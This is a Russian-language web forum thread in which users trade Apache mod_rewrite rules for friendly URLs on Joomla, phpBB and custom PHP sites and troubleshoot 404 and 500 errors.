firdavs.net/index.php?option=com_content&view=article&id=107:2013-07-19-13-37-31

489. Arab (05.08.2013 / 15:03)
Это на joomla. На денвере попробовал подобное сделать (не в джумла) - работает.

490. Samxal (05.08.2013 / 15:53)
Arаb (5 Августа 2013 / 14:50)
RewriteBase /
RewriteRule ^/news-([a-zA-Z0-9:]*)?$ index.php?option=com_content&view=article&id=$1
Что тут неправильно написал я? Пишет error404. Рабочая ссылка такова:
firdavs.net/index.php?option=com_content&view=article&id=107:2013-07-19-13-37-31

Так попробуй
RewriteRule ^news-([^-]*)$ /index.php?option=com_content&view=article&id=$1 [L]


491. Arab (07.08.2013 / 22:51)
доигрался.. доступа к фтп не было и пока редактировал все неким файл менеджером. добавил в нее Options +FollowSymLinks и прощай сайт до след недели. ошибка сервера 500

492. Гани (24.11.2013 / 03:20)
Сделал ссылку так /news/comm/1.html модреврайт работает. Но исчез дизайн. Почему? На оригинале диз пашет норма /news/comm.php?id=1

493. Дмитрий (09.12.2013 / 20:50)
парни, есть адрес site.ru/servis/mebel.php а мне его надо заменить на site.ru/мебель подскажите, плиз..

494. Кевин Митник (10.12.2013 / 01:16)
RewriteEngine on
RewriteRule ^/servis/mebel.php$ site.ru/мебель

Это простой вариант. Если нужны еще параметры после знака "?", то нужно немного изменить.

495. ramzes (11.12.2013 / 08:09)
493. ApxuTeKToP, путь к ксс файлу и картинкам начинай от корня, со слеша
/style/mycss.css типа того

496. Дмитрий (17.12.2013 / 22:19)
495. Кевин Митник_HHTeam, не работает(

497. Apeccc (21.08.2014 / 20:12)
Привет.
Есть:
RewriteRule ^forums$|^forums/$ index.php [R=301,L]
RewriteRule ^forums/([-_a-zA-Z0-9]{3,30})$ forums/$1/ [R=301,L]
RewriteRule ^forums/([-_a-zA-Z0-9]{3,30})/(.*)$ phpBB3/$2?access_name=$1 [QSA,L]


Вопрос, а теперь:
Как же из этого сделать чтобы переадресовывало на якобы субдомен?

URL: https://visavi.net/topics/343